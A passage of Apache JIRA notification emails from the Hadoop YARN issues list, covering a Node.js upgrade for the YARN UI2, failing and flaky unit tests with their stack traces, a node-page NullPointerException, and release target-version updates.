[ https://issues.apache.org/jira/browse/YARN-10826?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17368564#comment-17368564 ] Masatake Iwasaki commented on YARN-10826: - [~aajisaka] YARN-10331 and YARN-10560 are not in branch-3.2. Did you have any issue on cherry-picking? I will drop 3.2.3 from Target Version/s of this JIRA if so. > [UI2] Upgrade Node.js to at least v12.22.1 > -- > > Key: YARN-10826 > URL: https://issues.apache.org/jira/browse/YARN-10826 > Project: Hadoop YARN > Issue Type: Bug > Components: yarn-ui-v2 >Reporter: Akira Ajisaka >Assignee: Masatake Iwasaki >Priority: Major > Labels: pull-request-available > Fix For: 3.4.0, 3.3.2 > > Time Spent: 1h 50m > Remaining Estimate: 0h > > Node.js 10.x is EoL. We have to upgrade to at least 12.x. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10826) [UI2] Upgrade Node.js to at least v12.22.1
[ https://issues.apache.org/jira/browse/YARN-10826?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10826: Fix Version/s: 3.3.2 > [UI2] Upgrade Node.js to at least v12.22.1 > -- > > Key: YARN-10826 > URL: https://issues.apache.org/jira/browse/YARN-10826 > Project: Hadoop YARN > Issue Type: Bug > Components: yarn-ui-v2 >Reporter: Akira Ajisaka >Assignee: Masatake Iwasaki >Priority: Major > Labels: pull-request-available > Fix For: 3.4.0, 3.3.2 > > Time Spent: 1h 50m > Remaining Estimate: 0h > > Node.js 10.x is EoL. We have to upgrade to at least 12.x. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10826) [UI2] Upgrade Node.js to at least v12.22.1
[ https://issues.apache.org/jira/browse/YARN-10826?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10826: Summary: [UI2] Upgrade Node.js to at least v12.22.1 (was: [UI2] Upgrade Node.js to at least 12.x) > [UI2] Upgrade Node.js to at least v12.22.1 > -- > > Key: YARN-10826 > URL: https://issues.apache.org/jira/browse/YARN-10826 > Project: Hadoop YARN > Issue Type: Bug > Components: yarn-ui-v2 >Reporter: Akira Ajisaka >Assignee: Masatake Iwasaki >Priority: Major > Labels: pull-request-available > Time Spent: 1h 20m > Remaining Estimate: 0h > > Node.js 10.x is EoL. We have to upgrade to at least 12.x. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Assigned] (YARN-10826) [UI2] Upgrade Node.js to at least 12.x
[ https://issues.apache.org/jira/browse/YARN-10826?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki reassigned YARN-10826: --- Assignee: Masatake Iwasaki > [UI2] Upgrade Node.js to at least 12.x > -- > > Key: YARN-10826 > URL: https://issues.apache.org/jira/browse/YARN-10826 > Project: Hadoop YARN > Issue Type: Bug > Components: yarn-ui-v2 >Reporter: Akira Ajisaka >Assignee: Masatake Iwasaki >Priority: Major > > Node.js 10.x is EoL. We have to upgrade to at least 12.x. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Resolved] (YARN-2467) Add SpanReceiverHost to ResourceManager
[ https://issues.apache.org/jira/browse/YARN-2467?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki resolved YARN-2467. Resolution: Won't Fix > Add SpanReceiverHost to ResourceManager > --- > > Key: YARN-2467 > URL: https://issues.apache.org/jira/browse/YARN-2467 > Project: Hadoop YARN > Issue Type: Sub-task > Components: api, resourcemanager >Reporter: Masatake Iwasaki >Assignee: Masatake Iwasaki >Priority: Major > Labels: oct16-easy > Attachments: YARN-2467.001.patch, YARN-2467.002.patch > > > Per process SpanReceiverHost should be initialized in ResourceManager in the > same way as NameNode and DataNode do in order to support tracing. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Resolved] (YARN-4049) Add SpanReceiverHost to NodeManager
[ https://issues.apache.org/jira/browse/YARN-4049?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki resolved YARN-4049. Resolution: Won't Fix > Add SpanReceiverHost to NodeManager > --- > > Key: YARN-4049 > URL: https://issues.apache.org/jira/browse/YARN-4049 > Project: Hadoop YARN > Issue Type: Sub-task > Components: nodemanager >Reporter: Masatake Iwasaki >Assignee: Masatake Iwasaki >Priority: Major > Attachments: YARN-4049.001.patch > > -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Assigned] (YARN-10568) TestTimelineClient#testTimelineClientCleanup fails on trunk
[
https://issues.apache.org/jira/browse/YARN-10568?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki reassigned YARN-10568:
---
Assignee: Masatake Iwasaki
> TestTimelineClient#testTimelineClientCleanup fails on trunk
> ---
>
> Key: YARN-10568
> URL: https://issues.apache.org/jira/browse/YARN-10568
> Project: Hadoop YARN
> Issue Type: Bug
> Components: timelineclient
>Reporter: Ahmed Hussein
>Assignee: Masatake Iwasaki
>Priority: Major
> Labels: test
>
> {{TestTimelineClient.testTimelineClientCleanup}} gives a NPE on trunk
> {code:bash}
> java.lang.NullPointerException
> at
> org.apache.hadoop.yarn.client.api.impl.TestTimelineClient.testTimelineClientCleanup(TestTimelineClient.java:483)
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at
> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
> at
> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> at java.lang.reflect.Method.invoke(Method.java:498)
> at
> org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:50)
> at
> org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
> at
> org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:47)
> at
> org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)
> at
> org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26)
> at
> org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27)
> at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:325)
> at
> org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:78)
> at
> org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:57)
> at org.junit.runners.ParentRunner$3.run(ParentRunner.java:290)
> at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:71)
> at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:288)
> at org.junit.runners.ParentRunner.access$000(ParentRunner.java:58)
> at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:268)
> at org.junit.runners.ParentRunner.run(ParentRunner.java:363)
> at
> org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:365)
> at
> org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:273)
> at
> org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:238)
> at
> org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:159)
> at
> org.apache.maven.surefire.booter.ForkedBooter.invokeProviderInSameClassLoader(ForkedBooter.java:384)
> at
> org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:345)
> at
> org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:126)
> at
> org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:418)
> {code}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Assigned] (YARN-10500) TestDelegationTokenRenewer fails intermittently
[
https://issues.apache.org/jira/browse/YARN-10500?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki reassigned YARN-10500:
---
Assignee: Masatake Iwasaki
> TestDelegationTokenRenewer fails intermittently
> ---
>
> Key: YARN-10500
> URL: https://issues.apache.org/jira/browse/YARN-10500
> Project: Hadoop YARN
> Issue Type: Bug
> Components: test
>Reporter: Akira Ajisaka
>Assignee: Masatake Iwasaki
>Priority: Major
> Labels: flaky-test
>
> TestDelegationTokenRenewer sometimes timeouts.
> https://ci-hadoop.apache.org/job/hadoop-qbt-trunk-java8-linux-x86_64/334/artifact/out/patch-unit-hadoop-yarn-project_hadoop-yarn_hadoop-yarn-server_hadoop-yarn-server-resourcemanager.txt
> {noformat}
> [INFO] Running
> org.apache.hadoop.yarn.server.resourcemanager.security.TestDelegationTokenRenewer
> [ERROR] Tests run: 23, Failures: 0, Errors: 1, Skipped: 0, Time elapsed:
> 83.675 s <<< FAILURE! - in
> org.apache.hadoop.yarn.server.resourcemanager.security.TestDelegationTokenRenewer
> [ERROR]
> testTokenThreadTimeout(org.apache.hadoop.yarn.server.resourcemanager.security.TestDelegationTokenRenewer)
> Time elapsed: 30.065 s <<< ERROR!
> org.junit.runners.model.TestTimedOutException: test timed out after 3
> milliseconds
> at java.lang.Thread.sleep(Native Method)
> at
> org.apache.hadoop.test.GenericTestUtils.waitFor(GenericTestUtils.java:394)
> at
> org.apache.hadoop.yarn.server.resourcemanager.security.TestDelegationTokenRenewer.testTokenThreadTimeout(TestDelegationTokenRenewer.java:1769)
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at
> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
> at
> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> at java.lang.reflect.Method.invoke(Method.java:498)
> at
> org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:50)
> at
> org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
> at
> org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:47)
> at
> org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)
> at
> org.junit.internal.runners.statements.FailOnTimeout$CallableStatement.call(FailOnTimeout.java:298)
> at
> org.junit.internal.runners.statements.FailOnTimeout$CallableStatement.call(FailOnTimeout.java:292)
> at java.util.concurrent.FutureTask.run(FutureTask.java:266)
> at java.lang.Thread.run(Thread.java:748)
> {noformat}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10558) Fix failure of TestDistributedShell#testDSShellWithOpportunisticContainers
[ https://issues.apache.org/jira/browse/YARN-10558?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-10558: Fix Version/s: 3.3.1 > Fix failure of TestDistributedShell#testDSShellWithOpportunisticContainers > -- > > Key: YARN-10558 > URL: https://issues.apache.org/jira/browse/YARN-10558 > Project: Hadoop YARN > Issue Type: Bug > Components: test >Reporter: Masatake Iwasaki >Assignee: Masatake Iwasaki >Priority: Minor > Labels: pull-request-available > Fix For: 3.4.0, 3.3.1 > > Time Spent: 50m > Remaining Estimate: 0h > > The TestDistributedShell#testDSShellWithOpportunisticContainers always fails > due to insufficient test configuration. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10334) TestDistributedShell leaks resources on timeout/failure
[
https://issues.apache.org/jira/browse/YARN-10334?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-10334:
Fix Version/s: 3.3.1
> TestDistributedShell leaks resources on timeout/failure
> ---
>
> Key: YARN-10334
> URL: https://issues.apache.org/jira/browse/YARN-10334
> Project: Hadoop YARN
> Issue Type: Bug
> Components: distributed-shell, test, yarn
>Reporter: Ahmed Hussein
>Assignee: Ahmed Hussein
>Priority: Major
> Labels: newbie, pull-request-available, test
> Fix For: 3.4.0, 3.3.1
>
> Time Spent: 1h 10m
> Remaining Estimate: 0h
>
> {{TestDistributedShell}} times out on trunk. I found that the application,
> and containers will stay running in the background long after the unit test
> has failed.
> This causes failure of other test cases and several false positives failures
> as result of:
> * Ports will stay busy, so other tests cases fail to launch.
> * Unit tests fail because of memory restrictions.
> Although the unit test is already broken on trunk, we do not want its
> failures to other unit tests.
> {{TestDistributedShell}} needs to be revisited to make sure that all
> {{YarnClients}}, and {{YarnApplications}} are closed properly at the end of
> the each unit test (including exception and timeouts)
> Steps to reproduce:
> {code:bash}
> mvn test -Dtest=TestDistributedShell#testDSShellWithOpportunisticContainers
> ## this will timeout as
> [ERROR] Tests run: 1, Failures: 0, Errors: 1, Skipped: 0, Time elapsed:
> 90.234 s <<< FAILURE! - in
> org.apache.hadoop.yarn.applications.distributedshell.TestDistributedShell
> [ERROR]
> testDSShellWithOpportunisticContainers(org.apache.hadoop.yarn.applications.distributedshell.TestDistributedShell)
> Time elapsed: 90.018 s <<< ERROR!
> org.junit.runners.model.TestTimedOutException: test timed out after 9
> milliseconds
> at java.lang.Thread.sleep(Native Method)
> at
> org.apache.hadoop.yarn.applications.distributedshell.Client.monitorApplication(Client.java:1117)
> at
> org.apache.hadoop.yarn.applications.distributedshell.Client.run(Client.java:1089)
> at
> org.apache.hadoop.yarn.applications.distributedshell.TestDistributedShell.testDSShellWithOpportunisticContainers(TestDistributedShell.java:1438)
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at
> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
> at
> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> at java.lang.reflect.Method.invoke(Method.java:498)
> at
> org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:50)
> at
> org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12)
> at
> org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:47)
> at
> org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17)
> at
> org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26)
> at
> org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27)
> at
> org.junit.internal.runners.statements.FailOnTimeout$CallableStatement.call(FailOnTimeout.java:298)
> at
> org.junit.internal.runners.statements.FailOnTimeout$CallableStatement.call(FailOnTimeout.java:292)
> at java.util.concurrent.FutureTask.run(FutureTask.java:266)
> at java.lang.Thread.run(Thread.java:748)
> [INFO]
> [INFO] Results:
> [INFO]
> [ERROR] Errors:
> [ERROR] TestDistributedShell.testDSShellWithOpportunisticContainers:1438 »
> TestTimedOut
> [INFO]
> [ERROR] Tests run: 1, Failures: 0, Errors: 1, Skipped: 0
> {code}
> Using {{ps}} command, you can find the yarn processes are still in the
> background
> {code:bash}
> /bin/bash -c $JRE_HOME/bin/java -Xmx512m
> org.apache.hadoop.yarn.applications.distributedshell.ApplicationMaster
> --container_type OPPORTUNISTIC --container_memory 128 --container_vcores 1
> --num_containers 2 --priority 0 --appname DistributedShell --homedir
> file:/Users/ahussein
> 1>$WORK_DIR8/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-distributedshell/target/TestDistributedShell/TestDistributedShell-logDir-nm-0_0/application_1593554710896_0001/container_1593554710896_0001_01_01/AppMaster.stdout
>
> 2>$WORK_DIR8/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-applications-distributedshell/target/TestDistributedShell/TestDistributedShell-logDir-nm-0_0/application_1593554710896_0001/container_1593554710896_0001_01_01/AppMaster.stderr
> $JRE_HOME/bin/java -Xmx512m
> org.apache.hadoop.yarn
[jira] [Updated] (YARN-10536) Client in distributedShell swallows interrupt exceptions
[
https://issues.apache.org/jira/browse/YARN-10536?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-10536:
Fix Version/s: 3.3.1
> Client in distributedShell swallows interrupt exceptions
>
>
> Key: YARN-10536
> URL: https://issues.apache.org/jira/browse/YARN-10536
> Project: Hadoop YARN
> Issue Type: Bug
> Components: client, distributed-shell
>Reporter: Ahmed Hussein
>Assignee: Ahmed Hussein
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 3.3.1
>
> Time Spent: 1h 40m
> Remaining Estimate: 0h
>
> In {{applications.distributedshell.Client}} , the method
> {{monitorApplication}} loops waiting for the following conditions:
> * Application fails: reaches {{YarnApplicationState.KILLED}}, or
> {{YarnApplicationState.FAILED}}
> * Application succeeds: {{FinalApplicationStatus.SUCCEEDED}} or
> {{YarnApplicationState.FINISHED}}
> * the time spent waiting is longer than {{clientTimeout}} (if it exists in
> the parameters).
> When the Client thread is interrupted, it ignores the exception:
> {code:java}
> // Check app status every 1 second.
> try {
> Thread.sleep(1000);
> } catch (InterruptedException e) {
> LOG.debug("Thread sleep in monitoring loop interrupted");
> }
> {code}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Resolved] (YARN-10553) Refactor TestDistributedShell
[
https://issues.apache.org/jira/browse/YARN-10553?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki resolved YARN-10553.
-
Fix Version/s: 3.4.0
Hadoop Flags: Reviewed
Resolution: Fixed
> Refactor TestDistributedShell
> -
>
> Key: YARN-10553
> URL: https://issues.apache.org/jira/browse/YARN-10553
> Project: Hadoop YARN
> Issue Type: Bug
> Components: distributed-shell, test
>Reporter: Ahmed Hussein
>Assignee: Ahmed Hussein
>Priority: Major
> Labels: pull-request-available, refactoring, test
> Fix For: 3.4.0
>
> Time Spent: 7h 20m
> Remaining Estimate: 0h
>
> TestDistributedShell has grown so large over time. It has 29 tests.
> This is running the risk of exceeding 30 minutes limit for a single unit
> class.
> * The implementation has lots of code redundancy.
> * The Jira splits TestDistributedShell into three different unitTest for
> each TimeLineVersion: V1.0, 1.5, and 2.0
> * Fixes the broken test {{testDSShellWithEnforceExecutionType}}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-10540) Node page is broken in YARN UI1 and UI2 including RMWebService api for nodes
[
https://issues.apache.org/jira/browse/YARN-10540?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-10540:
Fix Version/s: (was: 3.2.3)
> Node page is broken in YARN UI1 and UI2 including RMWebService api for nodes
>
>
> Key: YARN-10540
> URL: https://issues.apache.org/jira/browse/YARN-10540
> Project: Hadoop YARN
> Issue Type: Task
> Components: webapp
>Affects Versions: 3.2.2
>Reporter: Sunil G
>Assignee: Jim Brennan
>Priority: Critical
> Fix For: 3.2.2, 3.4.0, 3.3.1, 3.1.5, 2.10.2
>
> Attachments: Mac-Yarn-UI.png, Screenshot 2020-12-19 at 11.01.43
> PM.png, Screenshot 2020-12-19 at 11.02.14 PM.png, Screenshot 2020-12-23 at
> 8.24.42 PM.png, YARN-10540.001.patch, Yarn-UI-Ubuntu.png, osx-yarn-ui2.png,
> yarnodes.png, yarnui2onubuntu.png
>
>
> YARN-10450 added changes in NodeInfo class.
> Various exceptions are showing while accessing UI2 and UI1 NODE pages.
> {code:java}
> Caused by: java.lang.NullPointerException
> at
> org.apache.hadoop.yarn.server.resourcemanager.webapp.dao.NodeInfo.(NodeInfo.java:103)
> at
> org.apache.hadoop.yarn.server.resourcemanager.webapp.NodesPage$NodesBlock.render(NodesPage.java:164)
> at
> org.apache.hadoop.yarn.webapp.view.HtmlBlock.render(HtmlBlock.java:69)
> at
> org.apache.hadoop.yarn.webapp.view.HtmlBlock.renderPartial(HtmlBlock.java:79)
> at org.apache.hadoop.yarn.webapp.View.render(View.java:243)
> at
> org.apache.hadoop.yarn.webapp.view.HtmlPage$Page.subView(HtmlPage.java:49)
> at
> org.apache.hadoop.yarn.webapp.hamlet2.HamletImpl$EImp._v(HamletImpl.java:117)
> at org.apache.hadoop.yarn.webapp.hamlet2.Hamlet$TD.__(Hamlet.java:848)
> at
> org.apache.hadoop.yarn.webapp.view.TwoColumnLayout.render(TwoColumnLayout.java:71)
> at
> org.apache.hadoop.yarn.webapp.view.HtmlPage.render(HtmlPage.java:82)
> at
> org.apache.hadoop.yarn.webapp.Controller.render(Controller.java:216)
> at
> org.apache.hadoop.yarn.server.resourcemanager.webapp.RmController.nodes(RmController.java:70)
> {code}
> {code:java}
> 2020-12-19 22:55:54,846 WARN
> org.apache.hadoop.yarn.webapp.GenericExceptionHandler: INTERNAL_SERVER_ERROR
> java.lang.NullPointerException
> at
> org.apache.hadoop.yarn.server.resourcemanager.webapp.dao.NodeInfo.(NodeInfo.java:103)
> at
> org.apache.hadoop.yarn.server.resourcemanager.webapp.RMWebServices.getNodes(RMWebServices.java:450)
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at
> sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
> at
> sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> at java.lang.reflect.Method.invoke(Method.java:498)
> {code}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-10040) DistributedShell test failure on X86 and ARM
[ https://issues.apache.org/jira/browse/YARN-10040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17258237#comment-17258237 ] Masatake Iwasaki commented on YARN-10040: - I submitted the fix for testDSShellWithOpportunisticContainers on YARN-10558 since I need more time for testDSShellWithEnforceExecutionType. [~ahussein] > DistributedShell test failure on X86 and ARM > > > Key: YARN-10040 > URL: https://issues.apache.org/jira/browse/YARN-10040 > Project: Hadoop YARN > Issue Type: Bug > Components: applications/distributed-shell > Environment: X86/ARM > OS: ubuntu1804 > Java 8 >Reporter: zhao bo >Assignee: Abhishek Modi >Priority: Major > Attachments: YARN-10040.001.patch > > > * > org.apache.hadoop.yarn.applications.distributedshell.TestDistributedShell.testDSShellWithOpportunisticContainers > * > org.apache.hadoop.yarn.applications.distributedshell.TestDistributedShell.testDSShellWithEnforceExecutionType > Please see the Apache Jenkins Test result: > [https://builds.apache.org/job/hadoop-multibranch/job/PR-1767/1/testReport/] > > These 2 tests are failed on both X86 and ARM platform. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Created] (YARN-10558) Fix failure of TestDistributedShell#testDSShellWithOpportunisticContainers
Masatake Iwasaki created YARN-10558: --- Summary: Fix failure of TestDistributedShell#testDSShellWithOpportunisticContainers Key: YARN-10558 URL: https://issues.apache.org/jira/browse/YARN-10558 Project: Hadoop YARN Issue Type: Bug Components: test Reporter: Masatake Iwasaki Assignee: Masatake Iwasaki The TestDistributedShell#testDSShellWithOpportunisticContainers always fails due to insufficient test configuration. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-6754) Fair scheduler docs should explain meaning of weight=0 for a queue
[ https://issues.apache.org/jira/browse/YARN-6754?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17192647#comment-17192647 ] Masatake Iwasaki commented on YARN-6754: [~tkuramoto] I assigned this to you. > Fair scheduler docs should explain meaning of weight=0 for a queue > -- > > Key: YARN-6754 > URL: https://issues.apache.org/jira/browse/YARN-6754 > Project: Hadoop YARN > Issue Type: Improvement > Components: docs >Affects Versions: 2.8.1, 3.0.0-alpha3 >Reporter: Daniel Templeton >Assignee: Takeru Kuramoto >Priority: Major > Labels: newbie > -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Assigned] (YARN-6754) Fair scheduler docs should explain meaning of weight=0 for a queue
[ https://issues.apache.org/jira/browse/YARN-6754?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki reassigned YARN-6754: -- Assignee: Takeru Kuramoto > Fair scheduler docs should explain meaning of weight=0 for a queue > -- > > Key: YARN-6754 > URL: https://issues.apache.org/jira/browse/YARN-6754 > Project: Hadoop YARN > Issue Type: Improvement > Components: docs >Affects Versions: 2.8.1, 3.0.0-alpha3 >Reporter: Daniel Templeton >Assignee: Takeru Kuramoto >Priority: Major > Labels: newbie > -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-4858) start-yarn and stop-yarn scripts to support timeline and sharedcachemanager
[ https://issues.apache.org/jira/browse/YARN-4858?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-4858: --- Target Version/s: 2.10.2 (was: 2.10.1) > start-yarn and stop-yarn scripts to support timeline and sharedcachemanager > --- > > Key: YARN-4858 > URL: https://issues.apache.org/jira/browse/YARN-4858 > Project: Hadoop YARN > Issue Type: Improvement > Components: scripts >Affects Versions: 2.8.0 >Reporter: Steve Loughran >Assignee: Steve Loughran >Priority: Minor > Labels: oct16-easy > Attachments: YARN-4858-001.patch, YARN-4858-branch-2.001.patch > > > The start-yarn and stop-yarn scripts don't have any (even commented out) > support for the timeline and sharedcachemanager > Proposed: > * bash and cmd start-yarn scripts have commented out start actions > * stop-yarn scripts stop the servers. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-4858) start-yarn and stop-yarn scripts to support timeline and sharedcachemanager
[ https://issues.apache.org/jira/browse/YARN-4858?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17191265#comment-17191265 ] Masatake Iwasaki commented on YARN-4858: updated the target version for preparing 2.10.1 release. > start-yarn and stop-yarn scripts to support timeline and sharedcachemanager > --- > > Key: YARN-4858 > URL: https://issues.apache.org/jira/browse/YARN-4858 > Project: Hadoop YARN > Issue Type: Improvement > Components: scripts >Affects Versions: 2.8.0 >Reporter: Steve Loughran >Assignee: Steve Loughran >Priority: Minor > Labels: oct16-easy > Attachments: YARN-4858-001.patch, YARN-4858-branch-2.001.patch > > > The start-yarn and stop-yarn scripts don't have any (even commented out) > support for the timeline and sharedcachemanager > Proposed: > * bash and cmd start-yarn scripts have commented out start actions > * stop-yarn scripts stop the servers. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-9615) Add dispatcher metrics to RM
[ https://issues.apache.org/jira/browse/YARN-9615?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-9615: --- Target Version/s: 2.10.2 (was: 2.10.1) > Add dispatcher metrics to RM > > > Key: YARN-9615 > URL: https://issues.apache.org/jira/browse/YARN-9615 > Project: Hadoop YARN > Issue Type: Task >Reporter: Jonathan Hung >Assignee: Jonathan Hung >Priority: Major > Attachments: YARN-9615.poc.patch, screenshot-1.png > > > It'd be good to have counts/processing times for each event type in RM async > dispatcher and scheduler async dispatcher. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9615) Add dispatcher metrics to RM
